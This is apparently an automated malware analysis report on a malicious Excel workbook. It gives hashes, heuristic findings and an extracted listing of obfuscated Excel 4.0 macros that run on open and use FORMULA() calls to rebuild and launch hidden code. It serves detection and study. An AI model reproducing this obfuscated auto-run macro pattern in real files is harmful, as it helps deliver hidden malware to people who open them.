Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7c641c559334a6cb…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:26:20 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 643b70c3d0843c1a65fc7df158cac7b1 SHA-1: 217067afd561689c97789a2d074c5a5a34a3a173 SHA-256: 7c641c559334a6cb0660dbcded5d3fa34c940c9b3d081dadd4239e597e7ac7be
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel document containing Excel 4.0 (XLM) macros, specifically an Auto_Open defined name. This indicates the macro will execute automatically upon opening the workbook. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary code, likely downloading and executing a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6423 bytes
SHA-256: e0b833588d008ea931461a894b0aa4a30b037930018271f4e2d51b3cd7419868
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  LnyJ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H138 
' 0018     22 LABEL : Cell Value, String Constant - BbiFeYL len=0 
' 0018     23 LABEL : Cell Value, String Constant - DOVECmfa len=0 
' 0018     25 LABEL : Cell Value, String Constant - DUfHoyxaTD len=0 
' 0018     25 LABEL : Cell Value, String Constant - EfYQNmekUQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - FDNGjZr len=0 
' 0018     21 LABEL : Cell Value, String Constant - gCTDyV len=0 
' 0018     21 LABEL : Cell Value, String Constant - GWyvST len=0 
' 0018     27 LABEL : Cell Value, String Constant - KHuwKNbCQZng len=0 
' 0018     26 LABEL : Cell Value, String Constant - KZvpTjUxjLJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - MPQaO len=0 
' 0018     22 LABEL : Cell Value, String Constant - OtntCXh len=0 
' 0018     25 LABEL : Cell Value, String Constant - RaRDPJpjgJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - rixIKtwOIJz len=0 
' 0018     27 LABEL : Cell Value, String Constant - RselUjcKUTAo len=0 
' 0018     27 LABEL : Cell Value, String Constant - RXlKuOkdpYXc len=0 
' 0018     26 LABEL : Cell Value, String Constant - SGCIVdDjpqN len=0 
' 0018     20 LABEL : Cell Value, String Constant - VXyDn len=0 
' 0018     25 LABEL : Cell Value, String Constant - vYOMusMhVZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - XcAtUtqaHL len=0 
' 0018     22 LABEL : Cell Value, String Constant - YVarMTY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  LnyJ,H45,"SET.NAME("XcAtUtqaHL",VALUE("0"))",""
'  LnyJ,H48,"SET.NAME("FDNGjZr",XcAtUtqaHL)",""
'  LnyJ,H52,"SET.NAME("YVarMTY",XcAtUtqaHL)",""
'  LnyJ,H56,"SET.NAME("RselUjcKUTAo",COUNTA(OtntCXh))",""
'  LnyJ,H61,"SET.NAME("SGCIVdDjpqN",COUNTA(DUfHoyxaTD))",""
'  LnyJ,H65,[],""
'  LnyJ,H67,"SET.NAME("rixIKtwOIJz","")",""
'  LnyJ,H71,"FDNGjZr",""
'  LnyJ,H74,"SET.NAME("vYOMusMhVZ",HLOOKUP("*",OtntCXh,FDNGjZr,FALSE))",""
'  LnyJ,H77,"KZvpTjUxjLJ",""
'  LnyJ,H79,"SET.NAME("BbiFeYL",XcAtUtqaHL)",""
'  LnyJ,H82,[],""
'  LnyJ,H87,"BbiFeYL",""
'  LnyJ,H92,"gCTDyV",""
'  LnyJ,H96,"VXyDn",""
'  LnyJ,H99,"RaRDPJpjgJ",""
'  LnyJ,H102,"SET.NAME("KHuwKNbCQZng",VALUE(HLOOKUP("*",DUfHoyxaTD,RaRDPJpjgJ,FALSE)))",""
'  LnyJ,H107,"GWyvST",""
'  LnyJ,H112,"rixIKtwOIJz",""
'  LnyJ,H116,"YVarMTY",""
'  LnyJ,H118,NEXT(),""
'  LnyJ,H122,"DOVECmfa",""
'  LnyJ,H126,"SET.NAME("f",INT(T(FORMULA(T(rixIKtwOIJz)&"",""&T(DOVECmfa)))))",""
'  LnyJ,H130,"RXlKuOkdpYXc",""
'  LnyJ,H134,NEXT(),""
'  LnyJ,H136,RETURN(),""
'  LnyJ,H162,"SET.NAME("EfYQNmekUQ",H45)",""
'  LnyJ,H166,"OtntCXh",""
'  LnyJ,H171,"SET.NAME("DUfHoyxaTD",R93C13)",""
'  LnyJ,H175,"SET.NAME("RXlKuOkdpYXc",182)",""
'  LnyJ,H178,"SET.NAME("MPQaO",8)",""
'  LnyJ,H181,EfYQNmekUQ(),""
'  LnyJ,H182,HALT(),""